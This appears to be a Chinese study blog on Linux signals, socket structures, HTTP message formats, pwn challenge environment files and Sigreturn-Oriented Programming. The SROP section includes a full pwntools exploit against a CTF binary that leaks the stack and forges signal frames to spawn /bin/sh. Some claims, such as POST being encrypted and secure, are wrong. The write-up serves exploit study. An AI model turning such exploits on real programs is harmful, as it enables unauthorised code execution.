UDP没有没有实现带外数据传输,TCP也没有真正的带外数据,不过TCP利用头部的紧急指针标志和紧急指针,为应用程序提供了一种紧急方式,含义和带外数据类似,TCP的紧急方式利用传输普通数据的连接来传输紧急数据

SIGHUP信号(关闭进程)

SIGHUP 信号在 用户终端连接(正常或非正常)结束 时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业(任务),这时它们与控制终端不再关联

系统对SIGHUP信号的默认处理是:终止收到该信号的进程 ,所以若程序中没有捕捉该信号,当收到该信号时,进程就会退出

SIGHUP会在以下3种情况下被发送给相应的进程:

  • 终端关闭时,该信号被发送到 session 首进程以及作为 job 提交的进程(即用 & 符号提交的进程)
  • session 首进程退出时,该信号被发送到该 session 中的前台进程组中的每一个进程
  • 若父进程退出导致进程组成为孤儿进程组,且该进程组中有进程处于停止状态(收到SIGSTOP或SIGTSTP信号),该信号会被发送到该进程组中的每一个进程

例如:在我们登录Linux时,系统会分配给登录用户一个终端(Session),在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个 Session,当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号,这个信号的默认操作为终止进程,因此前台进程组和后台有终端输出的进程就会中止

​ // 晦涩难懂,需要在实例中理解分析

SIGPIPE信号(告知中断)

往一个写端关闭的管道或 socket 连接中连续写入数据时会引发 SIGPIPE 信号(引发 SIGPIPE 信号的写操作将设置 errno 为EPIPE)

在TCP通信中,当通信的双方中的一方close一个连接时,若另一方接着发数据,根据TCP协议的规定,会收到一个RST(Reset the connection)响应报文,若再往这个服务器发送数据时,系统会发出一个SIGPIPE信号给进程,告诉进程这个连接已经断开了,不能再写入数据

  • 即使断开还可以进行一次通信,第二次发送数据时才触发SIGPIPE
  • 可以用相应的 handle 进行处理SIGPIPE,完成想要的操作

网络编程结构体

通用结构体:struct sockaddr,16个字节

1
2
3
4
5
/* Generic socket address structure (for connect, bind, and accept) */
struct sockaddr {
uint16_t sa_family; /* Protocol family */
char sa_data[14]; /* Address data */
};

struct sockaddr 是一个通用地址结构,这是为了统一地址结构的表示方法,统一接口函数,使不同的地址结构可以被bind() , connect() 等函数调用

sockaddr的缺陷:sa_data 把目标地址和端口信息混在一起了

通用结构体:struct sockaddr_storage,128个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* Structure large enough to hold any socket address 
(with the historical exception of AF_UNIX). 128 bytes reserved. */

#if ULONG_MAX > 0xffffffff
# define __ss_aligntype __uint64_t
#else
# define __ss_aligntype __uint32_t
#endif
#define _SS_SIZE 128
#define _SS_PADSIZE (_SS_SIZE - (2 * sizeof (__ss_aligntype)))

struct sockaddr_storage
{
uint16_t ss_family; /* Address family */
__ss_aligntype __ss_align; /* Force desired alignment. */
char __ss_padding[_SS_PADSIZE];
};

struct sockaddr_storage 被设计为同时适合 struct sockaddr_in 和 struct sockaddr_in6

为了避免试图知道要使用的IP版本,可以使用 struct sockaddr_storage,该版本可以保存其中任何一个,后将通过 connect(),bind() 等函数将其类型转换为 struct sockaddr 并以这种方式进行访问

IPv4:struct sockaddr_in,16个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* IP socket address structure */
struct sockaddr_in {
uint16_t sin_family; /* Protocol family (always AF_INET) */
uint16_t sin_port; /* 16位的端口号 */
struct in_addr sin_addr; /* 32位的IP地址 */
unsigned char sin_zero[sizeof (struct sockaddr) -
sizeof (sa_family_t) -
sizeof (in_port_t) -
sizeof (struct in_addr)]; // sin_zero[8]
/* Pad to sizeof(struct sockaddr) */
};

typedef uint32_t in_addr_t;
struct in_addr {
in_addr_t s_addr; /* IPv4 address */
};

该结构体解决了 sockaddr 的缺陷,把 port 和 addr 分开储存在两个变量中

IPv6:struct sockaddr_in6,28个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct sockaddr_in6 {
uint16_t sin6_family; /* AF_INET6 */
uint16_t sin6_port; /* Transport layer port # */
uint32_t sin6_flowinfo; /* IPv6 flow information */
struct in6_addr sin6_addr; /* IPv6 address */
uint32_t sin6_scope_id; /* IPv6 scope-id */
};
struct in6_addr {
union {
uint8_t u6_addr8[16];
uint16_t u6_addr16[8];
uint32_t u6_addr32[4];
} in6_u;

#define s6_addr in6_u.u6_addr8
#define s6_addr16 in6_u.u6_addr16
#define s6_addr32 in6_u.u6_addr32
};

服务器简析

每个网络应用都是基于客户端—服务器模型的,釆用这个模型,一个应用是由 一个服务器进程 和一个或者多个 客户端 进程组成

个客户端—服务器事务由以下四步组成:

  1. 当一个客户端需要服务时,它向服务器发送一个请求,发起一个事务,例如,当 Web 浏览器需要一个文件时,它就发送一个请求给 Web 服务器
  2. 服务器收到请求后,解释它,并以适当的方式操作它的资源,例如,当 Web 服务器收到浏览器发出的请求后,它就读一个磁盘文
  3. 服务器给客户端发送一个响应,并等待下一个请求,例如,Web 服务器将文件发送回客户端
  4. 客户端收到响应并处理它,例如,当 Web 浏览器收到来自服务器的一页后,就在屏幕上显示此页

服务器请求

一般的请求消息如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /home.html HTTP/1.0 <!-- 请求消息行 -->
Accept: */* <!-- 请求消息头 -->
Host: localhost:GET /home.html HTTP/1.0
Accept: */*
Host: localhost:GET /home.html HTTP/1.0
Accept: */*
Host: localhost:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305 Firefox/10.0.3
Connection: close
Proxy-Connection: close

<html> <!-- 消息正文 -->
<head><title>test</title></head>
<body>
<img align="middle" src="godzilla.gif">
Dave O'Hallaron
</body>
</html>
  • 请求消息行:请求消息的第一行为请求消息行

    • 例如:GET /test/test.html HTTP/1.1
    • GET 为请求方式,请求方式分为:Get(默认)、POST、DELETE、HEAD等
      • GET:明文传输 不安全,数据量有限,不超过1kb
      • POST:暗文传输,安全,数据量没有限制
    • /test/test.html 为URI,统一资源标识符
    • HTTP/1.1 为协议版本
  • 请求消息头:从第二行开始到空白行统称为请求消息头

    • Accept:浏览器可接受的MIME类型告诉服务器客户端能接收什么样类型的文件
    • Accept-Charset:浏览器通过这个头告诉服务器,它支持哪种字符集
    • Accept-Encoding:浏览器能够进行解码的数据编码方式,比如 gzip
    • Accept-Language:浏览器所希望的语言种类,当服务器能够提供一种以上的语言版本时要用到,可以在浏览器中进行设置
    • Host:初始URL中的主机和端口
    • Referrer:包含一个URL,用户从该URL代表的页面出发访问当前请求的页面
    • Content-Type:内容类型告诉服务器浏览器传输数据的MIME类型,文件传输的类型
    • If-Modified-Since:利用这个头与服务器的文件进行比对,如果一致,则从缓存中直接读取文件
    • User-Agent:浏览器类型
    • Content-Length:表示请求消息正文的长度
    • Connection:表示是否需要持久连接。如果服务器看到这里的值为“Keep -Alive”,或者看到请求使用的是HTTP 1.1(HTTP 1.1默认进行持久连接)
    • Cookie:用于分辨两个请求是否来自同一个浏览器,以及保存一些状态信息
    • Date:请求时间GMT
  • 消息正文:当请求方式是[POST]方式时,才能看见消息正文,消息正文就是要传输的一些数据,如果没有数据需要传输时,消息正文为空

服务器响应

一般的响应如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.0 200 OK <!-- 响应消息行 -->
Server: Tiny Web Server <!-- 响应消息头 -->
Content-length: 120
Content-type: text/html

<html> <!-- 响应正文 -->
<head><title>test</title></head>
<body>
<img align="middle" src="godzilla.gif">
Dave O'Hallaron
</body>
</html>
  • 响应消息行:第一行响应消息为响应消息行
    • 例如:HTTP/1.0 200 OK
    • HTTP/1.0 为协议版本
    • 200 为响应状态码,常用的响应状态码有40余种,这里我们仅列出几种,详细请看:
      • 200:一切正常
      • 302/307:临时重定向
      • 304:未修改,客户端可以从缓存中读取数据,无需从服务器读取
      • 404:服务器上不存在客户端所请求的资源
      • 500:服务器内部错误
    • OK 为状态码描述
  • 响应消息头:
    • Location:指示新的资源的位置通常和302/307一起使用,完成请求重定向
    • Server:指示服务器的类型
    • Content-Encoding:服务器发送的数据采用的编码类型
    • Content-Length:告诉浏览器正文的长度
    • Content-Language:服务发送的文本的语言
    • Content-Type:服务器发送的内容的MIME类型
    • Last-Modified:文件的最后修改时间
    • Refresh:指示客户端刷新频率,单位是秒
    • Content-Disposition:指示客户端下载文件
    • Set-Cookie:服务器端发送的Cookie
    • Expires:-1
    • Cache-Control:no-cache (1.1)
    • Pragma:no-cache (1.0) 表示告诉客户端不要使用缓存
    • Connection:close/Keep-Alive
    • Date:请求时间
  • 响应正文:即网页的源代码(F12可查看)

解析pwn题中附带的文件

环境对pwn题至关重要,有时候本地打不通但服务器可以打通,有时候却恰恰相反,这些都与pwn题的环境有关

在一个pwn题中,除了有一个服务器上的样本文件以外,还有一些其他文件

这些文件就是题目作者交给我们的“题目环境”

我已经在“题目环境”这一块吃了不少亏了,主要是不知道这些文件是干什么的,又或许不明白这些文件的用法,所以我打算学习一下这些文件的用途,在此记录


libc.so

libc.so是glibc库的软链接,一般为 libc.so.6 ,一个类似于WINDOWS下的一个快捷指向型的文件

但是pwn题中给的libc.so.6可不是软链接,而是glibc库本身

软链接 libc.so.6 所链接的glibc就是“/lib/i386-linux-gnu”中的 libc.so.6

​ //在本机进行操作时,程序会默认libc.so.6为glibc库,但题目文件是不是这个库就不一定了

如果pwn题给出了glibc库那就简单了,可以直接用ELF模块引入

ld-linux.so

当操作系统加载一个动态链接的应用程序时,它必须找到并加载它执行该应用程序所依赖的动态库(以so为后缀的文件),而 ld-linux.so 是链接器的运行时的组件,是专门负责寻找库文件的库,ld-linux.so将按一定顺序找到libc.so.6库再给cat调用

​ // ld-linux.so的位置是写死在程序中的,gcc在编译程序时就写死在里面了

程序默认的 ld-linux.so 就是“/lib/i386-linux-gnu”中的 ld-linux.so.2

如果pwn题给出了ld-linux.so,那么它一定在链接器上动了手脚,需要用patchelf修改链接器组件为题目给出的ld-linux.so,以保证环境一致

1
2
3
$ patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program
#'/lib/my-ld-linux.so.2':ld-linux.so文件的路径
#'my-program':pwn题样本文件的名称

libc-A.BC.so

libc-A.BC.solibc.so.6 是同一个东西(都是glibc共享库)

只不过libc-A.BC.so的命名方式更加规范:

lib表示库文件,so表示动态链接,A为主版本号,B为次版本号,C为发布版本号

标准命名可以方便pwn手一下子定位libc版本,但是有些pwn题为了隐藏libc版本,就故意把glibc库文件统一命名为libc.so.6

如果pwn题给出了libc-A.BC.so,那就连libc版本都不用测了,直接用patchelf

1
2
3
$ patchelf ./my-program --replace-needed libc.so.6 ./other-libs
#'/other-libs':设置rpath的路径
#'my-program':pwn题样本文件的名称

程序会优先从rpath中获取程序的glibc库

ld-A.BC.so

ld-A.BC.sold-linux.so 是同一个东西(都是链接器组件)

ld表示链接器组件,so表示动态链接,A为主版本号,B为次版本号,C为发布版本号

同样,用patchelf修改链接器组件

1
$ patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program

libseccomp.so

这个就比较高端了,seccomp 又被称为沙盒,是一种保护机制

libseccomp 是一个 C 语言开发的 Linux 内核系统调用过滤帮助库,很多容器项目都使用到它,比如 containerd、docker、runc

libseccomp.so 就是 libseccomp 所使用的动态链接

libseccomp.so.2 就是 libseccomp.so 的常用版本,如果pwn题中出现了libseccomp.so.2,就说明它开了沙盒的

如果只是单纯的ROP题目,libseccomp.so.2可有可无,因为有专门的工具用于检查沙盒,但是如果题目设计到 就不同了,如果使用了 libseccomp.so.2 来开保护沙盒,那么会在程序中创建各个堆块,这可能会导致远程和本地的堆空间的布局不一致

目前没有找到什么解决的办法

SignalFrame分析

————深入理解SROP和系统调用

SROP 也即Sigreturn Oriented Programming,是一种基于 signal机制 进行攻击的高级ROP利用手段,通过覆盖 Signal Frame 上的关键数据来控制 sigreturn,从而达到漏洞利用的效果

我在学习SROP的过程中,发现了一道设计巧妙的题目,我在分析了其他师傅的WP后,又去了解了一下SROP背后的原理,于是想记录一下,做个总结


前言-中断流程&分类

中断是计算机程序中的一种机制,用于处理一些需要及时处理的情况

一,中断流程:

1
中断请求 >> CPU识别 >> 中断判优 >> 保存信息 >> 跳转中断处理程序 >> 返回复原

1.中断请求:程序可以利用指令进行中断请求,而一些被检测出来的错误也可以触发中断请求

2.CPU识别:CPU是处理中断信息的核心,它负责检测中断请求

3.中断判优:当程序内部出现错误时,必须马上做出响应,所以CPU会检查flag寄存器中的“TP位”和“IF位”来获取中断的信息,以便判断哪些响应是紧急的,哪些又是可以不响应的

4.保存信息:在进行响应前,内核会帮用户进程将其上下文保存在该进程的栈中

5.跳转中断处理程序:根据中断信息和中断向量表找到对应的中断处理程序

6.返回复原:调用函数Sigreturn来复原栈空间

二,中断分类:

中断可以根据其中断源和重要程度进行分类,大致有以下3种:

1.内中断和外中断

1
2
3
外中断:是指来自处理器和内存以外的部件引起的中断,包括I/O设备发出的I/O中断,外部信号中断,以及各种计时器引起的时钟中断等(外中断在狭义上一般被称为中断)

内中断:主要指在处理器和内存内部产生的中断,包括程序运算引起的各种错误,如地址非法、检验错、页面失效、存储访问控制错、算术操作溢出、数据格式非法、除数为0、非法指令、用户程序执行特权指令、分时操作系统中的时间片中断以及用户态到核心态的切换等

2.硬件中断和软件中断

1
2
3
硬件中断:通过外部的硬件产生的中断(硬件中断属于外中断)

软件中断:通过某条指令产生的中断,这种中断可以编程实现(软件中断属于内中断)

3.非屏蔽中断和可屏蔽中断(全是外中断)

1
2
3
非屏蔽中断:非屏蔽中断是一种硬件中断,此种中断通过不可屏蔽中断请求NMI控制,不受中断标志位IF的影响,即使关中断(IF=0)的情况下也会被响应

可屏蔽中断:可屏蔽中断也是一种硬件中断,此种中断通过中断请求标记触发器INTR控制,且受中断标志位IF的影响,在关中断情况下不接受中断请求

参考:https://blog.csdn.net/fengfeng0328/article/details/83318000(更详细)


前言-系统调用

什么是系统调用?

由操作系统提供的供所有系统调用的程序接口集合

用户程序通常只在 用户态 下运行,当用户程序想要调用只能在 内核态 运行的子程序时,所以操作系统需要提供 访问这些内核态 运行的程序的接口,这些接口的集合就叫做系统调用,简要的说,系统调用是内核向用户进程提供服务的唯一方法
用户程序通过系统调用从用户态(user mode)切换到核心态( kernel mode ),从而可以访问相应的资源。这样做的好处是:

  • 为用户空间提供了一种硬件的抽象接口,使编程更加容易
  • 有利于系统安全
  • 有利于每个进程度运行在虚拟系统中,接口统一有利于移植

系统调用的过程

系统调用通过signal机制来实现

一般64位系统会用 syscall(陷阱)来传递中断信息,而32位系统则会使用 int n(中断)

它们都会把系统调用号装入“rax/eax”寄存器,然后把必要的参数装入其他寄存器

系统调用和内核的联系

通常,处理器设有两种模式: “用户模式”“内核模式” ,通过一个标签位来鉴别当前正处于什么模式

内核模式可以运行所有指令,包括特权指令(主要是一些硬件管理的指令,例如修改基址寄存器内容的指令),而用户模式不能执行特权指令,这样的设计主要为了安全问题,即由操作系统负责管理硬件,避免上层应用因错误设计而导致硬件问题

而在上文中提及到:有些基于读写的操作必须要在 “内核模式” 中完成,而系统调用为了实现这些功能而诞生的,它通过提供 有权限限制“内核模式” ,来实现一些 “用户模式” 无法办到的操作

系统调用和库函数的联系

事实上,系统调用所提供给用户的是直接而纯碎的高级服务,如果想要更加人性化,具有更符合特定情况的功能,那么就要我们用户自己定义,因此衍生了库函数

库函数把系统调用进行包装,使它更方便使用,比如C语言标准库中的“printf”就使用了大量的系统调用,才实现了输出字符串到屏幕的功能

所以系统调用是为了方便使用操作系统的接口,而库函数则是为了人们编程的方便

参考:

https://www.cnblogs.com/DurKui/p/15345050.html

https://www.jianshu.com/p/8e89b13fac7d


简析Signal机制

signal机制是类unix系统中进程之间相互传递信息的一种方法,是软件中断的一种

流程如下:

1
某个进程发送signal机制 >> 保存上下文 >> signal处理 >> 还原上下文 >> 进行程序

详细来说:

进程发起signal后,先会保存上下文并在栈顶添加一个 sigreturn ,然后控制IP指针指向 Siganl Handler,程序执行完成后又会还原上下文,最后控制IP指针返回

​ //这样大规模的读写操作需要更高的权限,所以需要进入内核态,由于恢复的任务比较艰巨,系统干脆提供了一个系统调用 sigreturn

Signal机制之中有几个重要的概念:

1.sigreturn:一种系统调用,用于还原各个寄存器中的数据

2.ucontext:linux中设计的一种结构体,给用户让渡了一部分控制代码上下文的能力

3.siginfo:一种结构体,用于存储信号的信息

4.Signal Frame:我们称ucontext以及siginfo这一段为Signal Frame

SROP的核心就是伪造Signal Frame,欺骗程序执行我们需要的代码


简析ucontext & siginfo

ucontext:

1
2
3
4
5
6
7
typedef struct ucontext {
struct ucontext *uc_link;//指向此上下文返回时,将恢复的上下文的指针
sigset_t uc_sigmask;//运行时各个寄存器的值
stack_t uc_stack;//运行栈
mcontext_t uc_mcontext;//信号
...
} ucontext_t;

结构体ucontext用于保存上下文信息

有了它,许多上下文切换的操作都可以完成,linux也为它提供了一组api:

1
2
3
4
5
6
7
8
int  getcontext(ucontext_t *ucp);
//获取当前上下文
int setcontext(const ucontext_t *ucp);
//则是从‘ucp’指向的实例恢复上下文到现场
void makecontext(ucontext_t *ucp, (void *func)(), int, ...);
//可以修改getcontext得到的上下文
int swapcontext(ucontext_t *oucp, const ucontext_t *ucp);
//调用getcontext到oucp,然后用ucp去setcontext

这里就不继续展开了

siginfo:

1
2
3
4
5
6
7
8
9
10
11
typedef struct {
int si_signo;// signal number的简写,该变量用来存储信号编号并且恒有值
int si_code;// signal code的简写,可以获取多种变量值
union sigval si_value;// ignal value的简写,这个变量是一个结构体
int si_errno;// 如果该位不为0,则和信号在一起的有一个错误代码(信号发生错误)
pid_t si_pid;// 发送该信号的进程id
uid_t si_uid;// 发送该信号的用户id
void *si_addr;// 错误发生的地址
int si_status;
int si_band;
} siginfo_t;

结构体siginfo用于保存signal的各种信息

参考

ucontext:https://www.jianshu.com/p/a96b31da3ab0

siginfo:https://www.cnblogs.com/zw1009-1803/p/13701754.html

TCP简析:https://blog.csdn.net/qq_41877474/article/details/102580825


简析Signal Frame

Signal Frame是由ucontext和siginfo组成的区域,signal中的信息都会存储在这里

其末尾就是sigreturn,可以根据Signal Frame在返回原栈帧和原寄存器数据

Signal Frame的结构在32位系统和64位系统中有些许不同:

x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

每一次在请求signal后,signal handler执行前,程序都会在栈上构建这个栈帧

如果栈溢出的数据可以覆盖它的话,就可以进行伪造,欺骗程序


深入理解SROP

先看一个例子:(通过修改Signal Frame来控制syscall)

伪造 rdi 为“/bin/sh”,伪造 rip 为syscall,伪造 rax 为“59”(execve)

这样的话,程序在结束signal handler,执行sigreturn的时候,就可以控制 rip 指向syscall,然后根据调用号 “59” 执行系统调用execve

当然也可以伪造“syscall;ret”形成system call chains

syscall执行完成过后,就可以通过ret控制ip指针指向栈顶元素(类似于gadgets)

SROP需要以下条件:

  1. 攻击者可以通过stack overflow等漏洞控制栈上的内容
  2. 需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址)
  3. 需要知道syscall指令在内存中的地址
  4. 需要知道sigreturn系统调用的内存地址

接着我们就看一下那道设计巧妙的题目吧:

1
2
3
4
5
6
signed __int64 start()
{
void *retaddr; // [rsp+0h] [rbp+0h] BYREF

return sys_read(0, &retaddr, 0x400uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
.text:00000000004000B0 ; signed __int64 start()
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
.text:00000000004000C0 _text ends

原汇编代码就相当于“read(rax,rsp,0x400)”,直接在栈顶写入数据

​ //注意:read的写入的位置并不是真正的rsp,而是对rsi进行赋值时的rsp指向的位置,所以syscall构建栈帧来保存上下文的过程不会受read的影响

源程序就是用汇编写的,只有一个函数,程序使用statically(没有got表)

经过分析可以发现3个问题:

问题一,没有“/bin/sh”:

本程序没有“/bin/sh”,所以需要用“read”在某个地址上写入“/bin/sh”

栈地址是不确定的,所以需要用“write”泄露用于写入“/bin/sh”栈地址

问题二,怎么修改rax:

想要syscall调用“write”,必须先要把rax填入“1”,而寄存器和栈空间完全就是两个东西,那么这么通过栈来控制寄存器呢?

整个程序就只有一个“syscall”函数,它第一次执行时调用“read”,而“read”的返回值就装在“rax”中

1
2
3
4
5
1、如果读取成功,则返回实际读到的字节数。这里又有两种情况:一是如果在读完count要求字节之前已经到达文件的末尾,那么实际返回的字节数将小于count值,但是仍然大于0;二是在读完count要求字节之前,仍然没有到达文件的末尾,这是实际返回的字节数等于要求的count值。

2、如果读取时已经到达文件的末尾,则返回0

3、如果出错,则返回-1

那么,先要rax为“1”,函数“read”的实际写入长度必须为“1”

1
.text:00000000004000B0                 xor     rax, rax

而且这段汇编代码会把rax中的值改为“0”,所以必须让过……

所以“send(‘\xb3’)”是最佳选择,覆盖“0x4000B0”最后一字节为“0xb3”,跳过了它,并且长度为“1”

接下来就会执行“write(1,rsp,0x400)”,泄露stack_addr

1
2
3
4
5
6
start_addr = 0x00000000004000B0
payload = p64(start_addr) * 3 #start_addr压栈3次,程序总共会执行4次
sh.send(payload)
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

第一次read时:在rsp写入“4000B0” * 3,同时read返回时“pop”掉一个,程序返回到“start_addr”

第二次read时:在rsp写入“\xb3”,改写rsp为“0x4000B3”,程序返回到“start_addr+1”

第三次就直接执行write了

问题三,SROP到底怎么利用:

其实pwntool中有专门用来攻击srop的工具:SigreturnFrame

和ROP模块一样,可以自动获取程序中的gadgets

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import *
small = ELF('./SROP')

sh = process('./SROP')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
payload = p64(start_addr) * 3
sh.send(payload)

sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

sigframe = SigreturnFrame()
#SigreturnFrame模块,触发条件:只要rt_sigreturn的时候栈顶是SigreturnFrame就行
sigframe.rax = constants.SYS_read #控制rax为‘read’的调用号
sigframe.rdi = 0 #控制各个参数
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr #控制rsp为stack_addr(栈转移)
sigframe.rip = syscall_ret #控制rip为syscall_ret(但只会执行ret)
payload = p64(start_addr) + 'a' * 8 + str(sigframe)#构建signal frame(SYS_read)
sh.send(payload)

sigreturn = p64(syscall_ret) + 'b' * 7#读入15个字符,read控制rax为15
sh.send(sigreturn)

"""
程序在识别到syscall后,首先构建新的栈帧保存上下文,然后调用sys_read在原来的栈空间中写入payload,sys_read执行完成后会ret栈顶的sigreturn,把新构建的栈帧pop出来,接着在程序最后执行的ret会控制IP指向‘start_addr’,然后程序重新执行

重复上述操作,在栈空间中压入‘syscall_ret’(因为ret会使rsp+8,所以‘syscall_ret’其实写入了'aaaaaaaa'的位置),并在最后一个ret的时候控制IP指向它

程序在识别到syscall后,发现rax为15所以执行sigreturn,并且其后正好就是sigframe满足了SigreturnFrame模块的条件(即使sigframe被'bbbbbbb'覆盖了一部分也不影响),sigreturn会根据sigframe来设置寄存器的值,控制IP指向syscall_ret,执行sys_read(伪)
"""

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'c' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
#通过SYS_read在stack_addr+0x120写入'/bin/sh\x00',顺便构建signal frame(SYS_execve)
sh.send(payload)
sh.send(sigreturn)

"""
在之前的操作中已经更换了寄存器的数据,所以payload会被写入‘stack_addr’,在‘stack_addr’之中构建sigframe并且在‘stack_addr + 0x120’中写入'/bin/sh\x00',在sys_read(伪)结束以后的ret会控制IP指向‘start_addr’

重新执行程序后,寄存器'rax,rdi,rsi,rdx'被重置,因为‘start_addr’被pop出栈,所以sigreturn会写入'cccccccc'的位置,和上文一样了,SigreturnFrame模块的条件满足
"""

sh.interactive()

总结:

SROP的实现很大程度上依靠SigreturnFrame模块,使用这个模块只需要保证sigreturn执行时的栈顶是SigreturnFrame就可以了

所以需要先构建signal frame,然后再合适的时机调用sigreturn

syscall本身压栈的sigreturn难以被利用,所以我们常常改写“rax”为“15”,以主动调用sigreturn,比如:通过read函数的返回值改写“rax”,通过“pop rax”指令来改写“rax”

SROP也较为灵活,因为可以改写的寄存器很多,栈转移等操作都可以在SROP的附庸中实现

扩展:https://2cto.com/article/201512/452080.html


SROP和传统ROP的对比

一般ROP

ROP的攻击方式比较普遍,安全防护相应的也比较多

ROP极大的依赖于栈结构,gadgets片段都是保存在stack上,所以在一次利用结束后,在stack发生改变的时候,很难再次利用

SROP和攻击

采用SROP进行攻击,需要的gadgets少

每次只需要伪造对应的Frame,sigreturn的调用都能够强制切换到我们需要的状态,有着极高的代码复用性

两者对比

综合考虑,SROP明显优于ROP,首先SROP是需要利用的gadgets比ROP少,接着就是代码复用性高,只要有syscall随时都可以控制程序执行系统调用,而ROP还需要考虑程序中是否有现成的system函数,如果没有,则需要通过DynELF,LibcSearcher等各种方法到libc中获取system

但SROP的普遍性却不如ROP,SROP需要syscall,如果程序中压根就没有syscall当然就用不了SROP,并且伪造Signal Frame需要相当长的栈空间(至少248字节),如果栈溢出的字节数过少也用不了SROP(SROP的条件非常苛刻)

dl_runtime_resolve源码分析

————深入理解ret2dlresolve

ret2dlresolve是一种高级的ROP技巧,目前我只是见识了一下题目

于是想通过分析 _dl_runtime_resolve 来搞懂 ret2dlresolve 的攻击核心点


前言-链接器&重定位

一般C语言程序到机器语言需要经过以下这些步骤:

1
预处理 -> 编译 -> 汇编 -> 链接 

C语言代码经过编译以后,并没有生成最终的可执行文件(exe 文件),而是生成了一种叫做目标文件(Object File)的中间文件

可重定位目标文件,是目标文件的一种,它里面的代码与数据,都是各个文件独立的代码与数据

需要“链接”这个过程使它们建立联系并融合,而“链接”这个过程由链接器来完成

链接:

其实就是一个“打包”的过程,它将所有二进制形式的目标文件和系统组件组合成一个可执行文件(各个目标文件就会融合为一个可执行文件)

链接器:

1.符合解析:链接器会将重定位条目中的 所有引用符号表中的符号 关联起来(这个符号可能在同一个可重定位目标文件中,也可能在其他可重定位目标文件中)

2.文件合并:将所有目标文件的同类型段合并

3.重定位:当所有目标文件合并完毕后,其各个段的地址都会有偏移,数据段和代码段中的相对地址都被链接器修正为最终的内存位置,这样所有的变量以及函数都确定了其各自位置

参考:

链接器:https://blog.csdn.net/qq_37375427/article/details/84947071

可重定位目标文件:https://blog.csdn.net/qq_45109990/article/details/103397772

重定位:https://segmentfault.com/a/1190000016433947


前言-GUN链接器(ld)

特点:

解决程序内部跨文件引用的链接时重定位

引用外部库文件的装载时重定位(为了加快加载速度还使用了延迟绑定

链接时重定位(静态链接):在逻辑地址转换为物理地址的过程中,地址变换是在进程装入时一次完成的,以后不再改变

装载时重定位(动态链接):动态运行的装入程序把转入模块装入内存之后,并不立即把装入模块的逻辑地址进行转换,而是把这种地址转换推迟到程序执行时才进行,装入内存后的所有地址都仍是逻辑地址,这种方式需要寄存器的支持,其中放有当前正在执行的程序在内存空间中的起始地址

参考:

装载时重定位:https://zhuanlan.zhihu.com/p/317478523

装载时重定位:https://blog.csdn.net/parallelyk/article/details/42747239


ELF结构- dynamic 段

